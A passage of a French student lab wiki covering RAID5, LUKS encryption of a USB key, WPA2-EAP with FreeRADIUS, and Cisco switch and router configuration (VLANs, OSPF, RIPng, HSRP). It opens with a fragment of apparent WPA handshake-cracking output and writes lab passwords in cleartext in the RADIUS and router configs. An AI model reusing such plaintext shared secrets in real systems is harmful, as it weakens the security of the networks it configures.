                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponibles:&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
